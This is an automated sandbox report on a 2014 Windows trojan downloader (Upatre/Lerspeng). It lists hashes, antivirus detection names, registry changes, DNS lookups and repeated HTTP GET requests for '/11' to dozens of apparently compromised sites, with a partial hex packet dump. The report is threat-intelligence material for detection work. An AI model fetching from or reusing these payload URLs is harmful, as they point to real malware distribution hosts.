Analysis Date2014-06-27 21:16:13
MD5c6ab2d50a7550dca7d66ce9e535cd991
SHA107e612f6734cdbe8bf4a014b89fa1e4b659f14ea

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 9d2d194f3292db9d88038542d4ee7bbe sha1: 1d7960c758e85ec260a228ea675310d1b833d6c4 size: 6144
Section.rdata md5: d47a3b9e977fb715d3882669424b40ce sha1: 0b74ceba1d1f2ee940a805b5bee72c717b67bf08 size: 2048
Section.data md5: e9a5eaaa7e8fbf6e862cdeb3a466d113 sha1: 731ae08fad2b42bd58494d33f0d316baf2087b79 size: 2560
Section.rsrc md5: 35080689b1106fe2e210b7abacb826ea sha1: b280ece62dfa657e1f6c4cac4247414a50213d5e size: 3072
Timestamp2014-04-23 18:39:38
PackerMicrosoft Visual C++ 5.0
PEhashcb6b6e00db3e2affda3afb869d1046604fbe5095
IMPhash37f49e774b4d13d52f7831f4a4d885d2
AV360 SafeTrojan.Agent.BCRR
AVAd-AwareTrojan.Agent.BCRR
AVAlwil (avast)Dropper-gen [Drp]
AVArcabit (arcavir)Trojan.Badur.hntg
AVAuthentiumW32/Trojan.CMDS-3325
AVAvira (antivir)TR/Crypt.Xpack.58508
AVCA (E-Trust Ino)Win32/Tnega.WUXHSMC
AVCAT (quickheal)TrojanDownloader.Lerspeng.rw4
AVClamAVno_virus
AVDr. WebTrojan.DownLoad3.32784
AVEmsisoftGen:Variant.Symmi.22037
AVEset (nod32)Win32/TrojanDownloader.Agent.SBP
AVFortinetW32/Badur.HNTG!tr
AVFrisk (f-prot)W32/Trojan3.IDL (exact)
AVF-SecureTrojan.Agent.BCRR
AVGrisoft (avg)Zbot.HOP
AVIkarusTrojan-Spy.Zbot
AVK7Trojan ( 0001140e1 )
AVKasperskyTrojan.Win32.Badur.hntg
AVMalwareBytesTrojan.Downloader.Upatre
AVMcafeeRDN/Generic.bfr!ha
AVMicrosoft Security EssentialsTrojanDownloader:Win32/Lerspeng.A
AVMicroWorld (escan)Trojan.Agent.BCRR
AVNormanwinpe/Lerspeng.A
AVRisingno_virus
AVSophosTroj/Shiz-BK
AVSymantecTrojan.Fakeavlock
AVTrend MicroTROJ_UPATRE.SF
AVVirusBlokAda (vba32)Trojan.Badur

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Winsock DNSduvallet.eu
Winsock DNSwww.kalkantzakos.com
Winsock DNSec2-107-20-241-193.compute-1.amazonaws.com
Winsock DNSneumandina.com
Winsock DNSnetset.ir
Winsock DNSedwardalba.com
Winsock DNS72.34.47.163
Winsock DNSkrptb.org.tr
Winsock DNSnbd.xon.pl
Winsock DNSiaimrich.com
Winsock DNScolorcopysite.com
Winsock DNSacenber.sbkml.k12.tr
Winsock DNSjosip-stadler.org
Winsock DNSwww.derileq.com.mx
Winsock DNSmashhadsir.com
Winsock DNSncapkur.sbkml.k12.tr
Winsock DNSwww2.makefur.co.jp
Winsock DNShow-hayonwye.com
Winsock DNS24hr-ro.com
Winsock DNShome.planet.nl
Winsock DNSmehmetunal.ztml.k12.tr
Winsock DNSakirkpatrick.com
Winsock DNSwww.tcrwharen.homepage.t-online.de
Winsock DNSiconservices.biz
Winsock DNSjob.yesyo.com
Winsock DNShayatreklam.net
Winsock DNSmofilms.com
Winsock DNSkuikencareercoaching.nl
Winsock DNSsic-choppers.goracer.de
Winsock DNSexorcist.go.ro
Winsock DNSidede.sbkml.k12.tr
Winsock DNSguaempresas.com
Winsock DNSmultimarge.ph
Winsock DNSmarcin_dybek.fm.interia.pl
Winsock DNSm.pcdbd.info
Winsock DNSnetvietpro.com
Winsock DNSfiles.karamellasa.gr
Winsock DNSekodin.rs
Winsock DNSmembers.aon.at
Winsock DNSduvarikapla.com
Winsock DNSyourmedialinkonline.com
Winsock DNSmasterdiskeurope.com
Winsock DNSallforlove.de
Winsock DNSdframirez.com
Winsock DNSjieyi.com.ar
Winsock DNS91.99.102.154
Winsock DNSmarzenamaks.eu.interia.pl
Winsock DNSwww.amelias-decoration.nl
Winsock DNSchriswolf.be
Winsock DNSjoyscenter.com
Winsock DNSmaestroevent.com
Winsock DNSlegraff.com.tr
Winsock DNS209.217.235.25

Network Details:

DNSyourmedialinkonline.com
Type: A
74.220.215.205
DNSdframirez.com
Type: A
67.23.241.163
DNSduvarikapla.com
Type: A
5.9.96.228
DNSduvallet.eu
Type: A
8.8.8.8
DNS24hr-ro.com
Type: A
209.99.40.222
DNSedwardalba.com
Type: A
69.73.157.20
DNSexorcist.go.ro
Type: A
81.196.20.134
DNSkuikencareercoaching.nl
Type: A
91.184.27.204
DNSsic-choppers.goracer.de
Type: A
62.75.193.147
DNSchriswolf.be
Type: A
81.93.48.28
DNScolorcopysite.com
Type: A
216.223.228.41
DNSmashhadsir.com
Type: A
144.76.118.219
DNSakirkpatrick.com
Type: A
81.27.85.16
DNSamelias-decoration.nl
Type: A
95.97.208.156
DNSnetvietpro.com
Type: A
123.30.187.102
DNSguaempresas.com
Type: A
209.140.31.104
DNShayatreklam.net
Type: A
212.175.86.25
DNSacenber.sbkml.k12.tr
Type: A
46.45.178.31
DNShow-hayonwye.com
Type: A
103.28.12.178
DNSiconservices.biz
Type: A
67.23.255.82
DNSidede.sbkml.k12.tr
Type: A
46.45.178.31
DNSwww.tcrwharen.homepage.t-online.de
Type: A
80.150.6.138
DNSec2-107-20-241-193.compute-1.amazonaws.com
Type: A
107.20.241.193
DNSderileq.com.mx
Type: A
173.192.79.226
DNSiaimrich.com
Type: A
64.70.19.52
DNSjoyscenter.com
Type: A
193.111.136.76
DNSjosip-stadler.org
Type: A
192.185.78.65
DNSkalkantzakos.com
Type: A
176.31.41.129
DNSfiles.karamellasa.gr
Type: A
81.171.104.182
DNSkrptb.org.tr
Type: A
188.132.135.180
DNSlegraff.com.tr
Type: A
82.151.132.51
DNSjieyi.com.ar
Type: A
63.250.56.67
DNSmaestroevent.com
Type: A
192.185.144.245
DNSwww2.makefur.co.jp
Type: A
133.242.169.79
DNSmarcin_dybek.fm.interia.pl
Type: A
217.74.65.161
DNSmarzenamaks.eu.interia.pl
Type: A
217.74.65.163
DNSmofilms.com
Type: A
46.17.92.37
DNShome.kpn.nl
Type: A
213.75.8.43
DNSmasterdiskeurope.com
Type: A
176.31.124.226
DNSmembers.aon.at
Type: A
195.3.96.72
DNSmultimarge.ph
Type: A
96.44.163.11
DNSnbd.xon.pl
Type: A
5.9.75.114
DNSnetset.ir
Type: A
144.76.94.174
DNSallforlove.de
Type: A
217.13.199.48
DNSncapkur.sbkml.k12.tr
Type: A
46.45.178.31
DNSneumandina.com
Type: A
192.185.149.240
DNSekodin.rs
Type: A
DNSwww.amelias-decoration.nl
Type: A
DNSwww.derileq.com.mx
Type: A
DNSwww.kalkantzakos.com
Type: A
DNSm.pcdbd.info
Type: A
DNSmehmetunal.ztml.k12.tr
Type: A
DNSjob.yesyo.com
Type: A
DNShome.planet.nl
Type: A
HTTP GEThttp://yourmedialinkonline.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://dframirez.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://duvarikapla.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://duvallet.eu/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://24hr-ro.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://edwardalba.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://exorcist.go.ro/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://kuikencareercoaching.nl/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://sic-choppers.goracer.de/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://chriswolf.be/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://colorcopysite.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://mashhadsir.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://akirkpatrick.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://www.amelias-decoration.nl/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://netvietpro.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://guaempresas.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://hayatreklam.net/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://acenber.sbkml.k12.tr/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://how-hayonwye.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://iconservices.biz/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://idede.sbkml.k12.tr/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://www.tcrwharen.homepage.t-online.de/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://ec2-107-20-241-193.compute-1.amazonaws.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://www.derileq.com.mx/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://iaimrich.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://joyscenter.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://josip-stadler.org/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://www.kalkantzakos.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://files.karamellasa.gr/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://91.99.102.154/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://krptb.org.tr/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://legraff.com.tr/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://jieyi.com.ar/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://maestroevent.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://www2.makefur.co.jp/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://marcin_dybek.fm.interia.pl/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://marzenamaks.eu.interia.pl/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://mofilms.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://home.planet.nl/~monst021/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://masterdiskeurope.com/~mooch/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://members.aon.at/~mredsche/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://multimarge.ph/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://209.217.235.25/~nanakram/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://nbd.xon.pl/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://netset.ir/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://allforlove.de/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://ncapkur.sbkml.k12.tr/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://neumandina.com/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://72.34.47.163/11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Flows TCP192.168.1.1:1032 ➝ 74.220.215.205:80
Flows TCP192.168.1.1:1033 ➝ 67.23.241.163:80
Flows TCP192.168.1.1:1034 ➝ 5.9.96.228:80
Flows TCP192.168.1.1:1035 ➝ 8.8.8.8:80
Flows TCP192.168.1.1:1036 ➝ 209.99.40.222:80
Flows TCP192.168.1.1:1037 ➝ 69.73.157.20:80
Flows TCP192.168.1.1:1038 ➝ 81.196.20.134:80
Flows TCP192.168.1.1:1039 ➝ 91.184.27.204:80
Flows TCP192.168.1.1:1040 ➝ 62.75.193.147:80
Flows TCP192.168.1.1:1041 ➝ 81.93.48.28:80
Flows TCP192.168.1.1:1042 ➝ 216.223.228.41:80
Flows TCP192.168.1.1:1043 ➝ 144.76.118.219:80
Flows TCP192.168.1.1:1044 ➝ 81.27.85.16:80
Flows TCP192.168.1.1:1045 ➝ 95.97.208.156:80
Flows TCP192.168.1.1:1046 ➝ 123.30.187.102:80
Flows TCP192.168.1.1:1047 ➝ 209.140.31.104:80
Flows TCP192.168.1.1:1048 ➝ 212.175.86.25:80
Flows TCP192.168.1.1:1049 ➝ 46.45.178.31:80
Flows TCP192.168.1.1:1050 ➝ 103.28.12.178:80
Flows TCP192.168.1.1:1051 ➝ 67.23.255.82:80
Flows TCP192.168.1.1:1052 ➝ 46.45.178.31:80
Flows TCP192.168.1.1:1053 ➝ 80.150.6.138:80
Flows TCP192.168.1.1:1054 ➝ 107.20.241.193:80
Flows TCP192.168.1.1:1055 ➝ 173.192.79.226:80
Flows TCP192.168.1.1:1056 ➝ 64.70.19.52:80
Flows TCP192.168.1.1:1057 ➝ 193.111.136.76:80
Flows TCP192.168.1.1:1058 ➝ 192.185.78.65:80
Flows TCP192.168.1.1:1059 ➝ 176.31.41.129:80
Flows TCP192.168.1.1:1060 ➝ 81.171.104.182:80
Flows TCP192.168.1.1:1061 ➝ 91.99.102.154:80
Flows TCP192.168.1.1:1062 ➝ 188.132.135.180:80
Flows TCP192.168.1.1:1063 ➝ 82.151.132.51:80
Flows TCP192.168.1.1:1064 ➝ 63.250.56.67:80
Flows TCP192.168.1.1:1065 ➝ 192.185.144.245:80
Flows TCP192.168.1.1:1066 ➝ 133.242.169.79:80
Flows TCP192.168.1.1:1067 ➝ 217.74.65.161:80
Flows TCP192.168.1.1:1068 ➝ 217.74.65.163:80
Flows TCP192.168.1.1:1069 ➝ 46.17.92.37:80
Flows TCP192.168.1.1:1070 ➝ 213.75.8.43:80
Flows TCP192.168.1.1:1071 ➝ 176.31.124.226:80
Flows TCP192.168.1.1:1072 ➝ 195.3.96.72:80
Flows TCP192.168.1.1:1073 ➝ 96.44.163.11:80
Flows TCP192.168.1.1:1074 ➝ 209.217.235.25:80
Flows TCP192.168.1.1:1075 ➝ 5.9.75.114:80
Flows TCP192.168.1.1:1076 ➝ 144.76.94.174:80
Flows TCP192.168.1.1:1077 ➝ 217.13.199.48:80
Flows TCP192.168.1.1:1078 ➝ 46.45.178.31:80
Flows TCP192.168.1.1:1079 ➝ 192.185.149.240:80
Flows TCP192.168.1.1:1080 ➝ 72.34.47.163:80

Raw Pcap
0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a20796f   50727)..Host: yo
0x000000a0 (00160)   75726d65 6469616c 696e6b6f 6e6c696e   urmedialinkonlin
0x000000b0 (00176)   652e636f 6d0d0a43 6f6e6e65 6374696f   e.com..Connectio
0x000000c0 (00192)   6e3a204b 6565702d 416c6976 650d0a0d   n: Keep-Alive...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206466   50727)..Host: df
0x000000a0 (00160)   72616d69 72657a2e 636f6d0d 0a436f6e   ramirez.com..Con
0x000000b0 (00176)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x000000c0 (00192)   6976650d 0a0d0a2d 416c6976 650d0a0d   ive....-Alive...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206475   50727)..Host: du
0x000000a0 (00160)   76617269 6b61706c 612e636f 6d0d0a43   varikapla.com..C
0x000000b0 (00176)   6f6e6e65 6374696f 6e3a204b 6565702d   onnection: Keep-
0x000000c0 (00192)   416c6976 650d0a0d 0a6c6976 650d0a0d   Alive....live...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206475   50727)..Host: du
0x000000a0 (00160)   76616c6c 65742e65 750d0a43 6f6e6e65   vallet.eu..Conne
0x000000b0 (00176)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000c0 (00192)   650d0a0d 0a0d0a0d 0a6c6976 650d0a0d   e........live...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a203234   50727)..Host: 24
0x000000a0 (00160)   68722d72 6f2e636f 6d0d0a43 6f6e6e65   hr-ro.com..Conne
0x000000b0 (00176)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000c0 (00192)   650d0a0d 0a0d0a0d 0a6c6976 650d0a0d   e........live...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206564   50727)..Host: ed
0x000000a0 (00160)   77617264 616c6261 2e636f6d 0d0a436f   wardalba.com..Co
0x000000b0 (00176)   6e6e6563 74696f6e 3a204b65 65702d41   nnection: Keep-A
0x000000c0 (00192)   6c697665 0d0a0d0a 0a6c6976 650d0a0d   live.....live...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206578   50727)..Host: ex
0x000000a0 (00160)   6f726369 73742e67 6f2e726f 0d0a436f   orcist.go.ro..Co
0x000000b0 (00176)   6e6e6563 74696f6e 3a204b65 65702d41   nnection: Keep-A
0x000000c0 (00192)   6c697665 0d0a0d0a 0a6c6976 650d0a0d   live.....live...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206b75   50727)..Host: ku
0x000000a0 (00160)   696b656e 63617265 6572636f 61636869   ikencareercoachi
0x000000b0 (00176)   6e672e6e 6c0d0a43 6f6e6e65 6374696f   ng.nl..Connectio
0x000000c0 (00192)   6e3a204b 6565702d 416c6976 650d0a0d   n: Keep-Alive...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a207369   50727)..Host: si
0x000000a0 (00160)   632d6368 6f707065 72732e67 6f726163   c-choppers.gorac
0x000000b0 (00176)   65722e64 650d0a43 6f6e6e65 6374696f   er.de..Connectio
0x000000c0 (00192)   6e3a204b 6565702d 416c6976 650d0a0d   n: Keep-Alive...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
